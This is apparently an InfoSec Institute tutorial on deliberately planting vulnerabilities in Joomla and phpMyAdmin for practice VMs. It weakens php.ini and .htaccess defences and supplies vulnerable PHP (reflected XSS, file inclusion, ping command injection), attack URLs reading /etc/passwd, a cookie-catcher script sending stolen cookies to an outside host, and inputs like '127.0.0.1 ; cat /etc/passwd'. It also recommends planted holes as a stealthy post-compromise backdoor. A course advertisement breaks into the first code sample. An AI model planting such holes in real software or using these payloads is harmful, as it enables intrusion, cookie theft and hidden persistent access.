In this article we will look at how we can insert vulnerabilities in web applications.

Why? There are basically two reasons.

Firstly, it allows us to see the application from the eyes of a web developer and not a hacker. Secondly, because it allows us to create a platform where we can create a set of vulnerable web applications, and fuse them all together in a Virtual machine. So now, several people can test their web application security skills on the VM and learn from it.

Some of the other reasons might be to leave a backdoor on the server – once the attacker has got access. Some of the backdoors could be very easily found out as they stand apart from the rest of the applications. However, if the web application itself has been made vulnerable instead, then it’s a bit tough to detect it.

In this article we will be looking at some of the Open Source Web Applications, e.g. Joomla, phpMyAdmin, etc., to see what mechanisms the developers use to protect these application from the OWASP Top 10 Web Application Vulnerabilities. Then we will look at how we can change the code to make the application vulnerable.

The first and foremost thing to do is to change some of the configurations in the php.ini file of your server. There are some configurations in this file that may protect the web application from being exploited. In my case the php.ini was located in the location /etc/php.ini. In your case it might be different. Instead of changing the configuration of your main php.ini file, you can instead make a custom php.ini file in your web application which could overwrite the settings in the main php.ini file, though this may not work all the time. Hence we will go with editing the main php.ini file. Open up your php.ini file and make sure the following settings match with your php.ini file.

safe_mode = Off

The safe mode is used to prevent your server from getting exploited by blocking some of the dangerous functions like shell execution in php etc. According to php.net, this feature has been DEPRECATED as of PHP 5.3.0.

register_globals = On

This setting allows the modification of global variables from the URL. For e.g if the url is http://infosecinstitute.com?q=infosec then this means that the value of “q” can be changed depending upon the URL (in this case it is “infosec”). In case of a different url say http://infosecinstitute.com?q=test, the value of q will be “test”. Hence it can be modified by just changing the URL. We will see later how this helps us while inserting File Inclusion vulnerabilities.

allow_url_fopen = On

This option allows the treatment of URL’s as files.

allow_url_include = On

This option uses the function include, include_once, require, require_once to open URL’s as files.

magic_quotes_gpc = Off

This disables the feature of php where it tries to escape any malicious characters which might corrupt the data or might perform an injection attack.

file_uploads = On

This allows the use of HTTP file uploads.

display_errors = On

This feature allows the server to display errors. Though this might be a useful setting during development it should not be set to ON once the web application is live. This is because the errors might leak sensitive information about the web application.

Once you have made these changes, save the php.ini file (make sure that it is writable). Restart the server to make the changes come into effect.

The next step is to download Joomla, which is an open source Content Management System. Joomla can be downloaded from here. Once it is downloaded, install it on your system and remove the installation directory. Once all of these steps are done, the Joomla home page should look like this.

Let’s go to the Joomla directory and analyze the code. The Joomla directory has a .htaccess file. Let’s see what configurations are in it. Open up the .htaccess file.

As we can see that there is a lot of interesting stuff here. Let’s analyze them one by one.

This code is used to stop someone from using base64 encoding to perform attacks like script execution, login bypass etc.

Protection against Cross-Site Scripting.

Protection against various types of Inclusion attacks like Local file inclusion and Remote file inclusion.

Protection against File Inclusion attacks like Local file inclusion and Remote file inclusion and also SQL Injection to some extent. This is because the attacker might modify the parameters sent via GET or POST Request.

This code is used in case the user tries to browse somewhere he doesn’t have access to.

Now we know what to do. In order to insert vulnerabilities into Joomla, these rules should not be there. Comment out these rules so that the file appears like this.

1) Inserting Reflected XSS (Cross-Site Scripting)

Let’s say we add the following code to index.php file in Joomla

$name = $_GET['name'];

if(isset($name))

{

print “Welcome, “.$name;

Want to learn more?? The InfoSec Institute Web Application Penetration Testing Boot Camp focuses on preparing you for the real world of Web App Pen Testing through extensive lab exercises, thought provoking lectures led by an expert instructor. We review of the entire body of knowledge as it pertains to web application pen testing through a high-energy seminar approach.

The Web Application Penetration Testing course from InfoSec Institute is a totally hands-on learning experience. From the first day to the last day, you will learn the ins and outs of Web App Pen Testing by attending thought provoking lectures led by an expert instructor. Every lecture is directly followed up by a comprehensive lab exercise (we also set up and provide lab workstations so you don't waste valuable class time installing tools and apps). Benefits to you are:

  • Get CWAPT Certified
  • Learn the Secrets of Web App Pen Testing in a totally hands-on classroom environment
  • Learn how to exploit and defend real-world web apps: not just silly sample code
  • Complete the 83 Step "Web App Pen Test Methodology", and bring a copy back to work with you
  • Learn how perform OWASP Top 10 Assessments: for PCI DSS compliance

}

else

{

print “Welcome, User “;

}

The Joomla main page takes a name parameter in its url and displays a welcome message at the top of the main page as shown in the figure below.

Right now we are not sure if the application is vulnerable to Cross-Site Scripting, but we know that there is a possibility because the parameter we pass in the url is displayed in the main page without validating it. We also removed the checks for the script tag previously. Hence if we input some script as the parameter and it gets executed, then we know that it is definitely a vulnerability.

Let’s enter the following url in the input

http://127.0.0.1/Joomla/index.php?name=%3Cscript%3Ealert%28%22This%20is%20definitely%20a%20vulnerability%22%29;%3C/script%3E

The script gets executed and we are shown an alert. Hence we can confirm that we just inserted a XSS vulnerability in the application.

2) Inserting LFI (Local File Inclusion) and RFI (Remote File Inclusion)

Local file inclusion occurs when it is possible to include a file on the server from the URL and see the content inside it. In this case, we will be inserting an LFI vulnerability in Joomla.

Joomla allows us to create components; in this case we will be creating a custom component. To do this just make a folder named com_COMPONENTNAME in the components folder. In this case our component name would be com_infosec.

Copy all the files from any component and rename it according to the current component, i.e infosec. Once this is done, add the following code in its infosec.php file.

 

if (isset($_REQUEST["imp_file"])){

$imp_file = $_REQUEST["imp_file"];

}

require_once($imp_file);

Note that we could have used the code include_once too. The only difference between them is that include_once will show an error in case the file is not found whilerequire_once won’t. From the code it is very clear that the infosec.php will take a file name as the parameter and then include it in the webpage. Since it is possible to modify the request variables because of the settings we changed earlier, it is possible to include any file from the server and display it in the browser. Let’s try and display the /etc/passwd file.

Go to the following url:

http://127.0.0.1/Joomla/index.php?option=com_infosec&name=InfosecInstitute&imp_file=../../../../../etc/passwd

As we can see, we get a dump of the /etc/passwd file of the server. Note that the number of “../” might be different in your case. Hence we have successfully inserted a local file inclusion vulnerability into the web application. Please note that this is also a Remote file Inclusion vulnerability. Let’s try and load google.com onto the Joomla home page.

Go to the following url:

http://127.0.0.1/Joomla/index.php?option=com_infosec&name=InfosecInstitute&imp_file=http://google.com

We just successfully loaded a remote url on Joomla’s web page. Imagine the consequences of such a vulnerability. It is now possible to execute any remote script present anywhere on the web to our victim.

Please note that sometimes the code which is responsible for including the file could be like this

include($FilePath.’.php’);

This means that the argument is appended with “.php” and that the file name is then included. In this case our previous url will not work because of the extra “.php” after it. However its effect can be nullified by adding the null byte “%00″ after the url. This escapes all the stuff after the null byte.

Hence in this case our url would be

http://127.0.0.1/Joomla/index.php?option=com_infosec&name=InfosecInstitute&imp_file=http://google.com%00codeDoesntGoHere

3) Inserting Information Disclosure vulnerability

Almost all the web applications have some sort of configuration file. In Joomla, it goes by the name “configurations.php” and is located in its root directory. Some developers like to keep a backup for their configuration file. The usual norm is to keep it by the extension “.bak”. Hence the backup file for the configuration file“configurations.php” would be named as “configurations.php.bak”. However there is a security issue with this. A bak file when accessed from the browser via url will prompt for a download of the file. Hence any user from the outside can download the configuration file and hence see all the settings like usernames, and passwords for Joomla. This needs some guess work from the attacker’s side, though it can also be done by the use of automated tools. The .bak file looks something like this.

As we can see, a lot of things like the username and password for the administrator are clearly visible in the configuration file. Disclosure of the configuration file can lead to complete compromise of the web application.

Sometimes the admin might need to store his password or some other confidential information in a file on the server, but may not want other users to access it, so he puts it in a directory and gives it a weird name 21lnkqasdsacnd1eqwdn22qwd2wd. To protect the directory from Google and other search engines he modifies the robots.txt file as shown to disallow web crawlers to index that directory. But the problem is that the robots.txt file is world readable and hence the attacker can figure out the name of the directory once he browses to the robots.txt file. When we browse to the robots.txt file for Joomla we get something like this.

We now know that the admin is protecting something from the web crawlers, a folder with a weird name 21lnkqasdsacnd1eqwdn22qwd2wd. Let’s check it out.

The password.txt file is available for anyone to view. Some developers think that the robots.txt file is used for hiding subdomains and directories. But in actuality it is used to provide direction to web crawlers about what publicly available information should and should not be indexed. Hence if a directory is non-public, then it should not be linked anywhere on the site and it should not be included in robots.txt, because that essentially makes it public. If it is not linked, there is no reason to include it in the robots.txt in the first place.

4) Inserting CSRF (Cross-Site Request Forgery) Vulnerability

CSRF occurs when an attacker is able to have the victim user make a request to a trusted site (to which he is already authenticated) on behalf of the attacker without his knowledge. Some developers think that allowing the victim to submit only POST Requests or using a secret cookie will prevent the victim from CSRF. But this is not true as the cookie will be submitted with every request the victim makes to the trusted website. Also it is very trivial for the attacker to have the victim submit a POST request which can be done by having a secret form on the attacker’s website which would be submitted to the trusted website on behalf of the attacker.

There are some ways to prevent CSRF. One of them is to have a secret token and have it submitted with each request the client makes to the trusted website, either in the URL or in the header. Also this token should have a timeout value after which it should expire and a new token is generated for the user.

One of the other ways is to have the authentication data submitted with important requests (e.g., a wire transfer, password change, etc.,). Note that in this case the attacker won’t have access to the user’s credentials and hence won’t be able to perform this attack. Inserting a CSRF is hence quite easy. We just need to remove all the checks that prevent CSRF, i.e., remove the checking of tokens, authentication data, etc. More information about CSRF can be found here.

For inserting the next two vulnerabilities we are going to use the web application phpMyAdmin. For more information on phpMyAdmin and the steps on how to install it, click here.

5) Inserting Reflected XSS (Cross-Site Scripting) vulnerabilities

Let’s assume for one moment that phpmyadmin is an application used by many users and it has just one admin. The admin wants to provide a functionality in a page message.html http://site-IP/phpmyadmin/message.html that allows any user to post a message to the administrator. The message is passed to a file message.php which writes it to a file text.html without validating the message. The admin can then view the message by just going to the text.html page. So if an attacker can inject malicious code in the message field then that code would execute on the admin’s machine once the admin opens up the text.html page.

This vulnerability is called Reflected XSS (Cross-Site Scripting). Also, by using the same technique the attacker can steal the admin’s cookies. The attacker could use a cookie catcher located somewhere on the web which takes a variable ‘c’. We pass the variable c as document.cookie (i.e the user’s cookie) to the Cookie Catcher file (note that we must know the location of the cookie catcher file). For example, if the Cookie Catcher file URL is http://infosecinstitute.com/cookie_catcher.php then the request that we will send from the client machine through XSS is http://infosecinstitute.com/cookie_catcher.php?c=USER_COOKIE. The USER_COOKIE is the cookie we fetch through javascript. This file then writes the Cookie and other values to a file named user_info.html.

Code for “message.html”, the message to the admin is sent from here.

 

 

<html>

<head> POST YOUR MESSAGE TO ADMIN HERE ! </head>

<body>

<form action=”message.php” method=”get”>

    <input type=”text” name=”c” />

</form>

</body>

</html>

 

Code for “message.php”, once the message is sent, this code stores the message in a file named text.html.

 

<?php

$text = $_GET['c'];

$ip = getenv (‘REMOTE_ADDR’);

$date=date(“j F, Y, g:i a”);;

$referer=getenv (‘HTTP_REFERER’);

$fp = fopen(‘text.html’, ‘a’);

fwrite($fp, ‘Message: ‘.$text.’<br> IP: ‘ .$ip. ‘<br> Date and Time: ‘ .$date. ‘<br> Referer: ‘.$referer.’<br><br><br>’);

fclose($fp);

//Redirect the user to google.com

header (“Location: http://www.google.com”);

?>

Code for “Cookie Catcher file”. Note that this file should be stored somewhere on the internet. We call the url of the file with an argument “c” in which we pass the cookie. This file then takes the cookie and other information and writes all the values into a file named “user_info.html”.

 

 

<?php

$cookie = $_GET['c'];

$ip = getenv (‘REMOTE_ADDR’);

$date=date(“j F, Y, g:i a”);;

$referer=getenv (‘HTTP_REFERER’);

$fp = fopen(‘user_info.html’, ‘a’);

fwrite($fp, ‘Cookie: ‘.$cookie.’<br> IP: ‘ .$ip. ‘<br> Date and Time: ‘ .$date. ‘<br> Referer: ‘.$referer.’<br><br><br>’);

fclose($fp);

//Redirect the user to google.com

header (“Location: http://www.google.com”);

?>

 

6) Inserting Remote Command Execution vulnerability

Phpmyadmin comes with a footer.php file where we can write code which should appear at the bottom of every page in the application. In this case the admin allows the user to ping any server in the world by running the ping command on his server but not filtering out the input properly. So if the attacker inputs something like this “127.0.0.1 ; ls” or “127.0.0.1 ; cat /etc/passwd” he can run these commands on the remote webserver and see the output too.

Here is how the footer appears in phpMyAdmin.

Once we click on submit, the output result looks like this. We can easily deduce that we now have the ability to execute remote commands on the server.

Here is the code for the file “config.footer.inc.php”

 

 

<?php

?>

<html>

 

<h1>Find which server is online anywhere in the world</h1>

 

        <p>Enter an IP address of the server below:</p>

        <form name=”ping” action=”ping.php” method=”post”>

            <input type=”text” name=”ip” size=”30″>

            <input type=”submit” value=”submit” name=”submit”>

        </form>

</html>

 

Here is the code for the file “ping.php”

 

 

<?php

if( isset( $_POST[ 'submit' ] ) )

{

$target = $_REQUEST[ 'ip' ];

$cmd = shell_exec( ‘ping -c 3 ‘ . $target );

    echo $cmd;

    }

?>

 

 

Conclusion

In this article we looked at how we can insert vulnerabilities in web applications. We took some of the popular open source applications like Joomla and phpMyAdmin as examples, learned how it protected itself from various common exploits and then bypassed those protection mechanisms to make the applications vulnerable.

Inserting vulnerabilities can be useful for many reasons. A company might want to set up a test environment for its users to test their Web Application Security skills, or because an attacker who has already broken into the web application might want to leave a backdoor so that he can get access later. Hence, instead of leaving behind a standalone backdoor which stands apart from all the web applications on the server and could be easily detected, inserting a vulnerability in a web application is a much better option because of the stealth involved in this case.

References: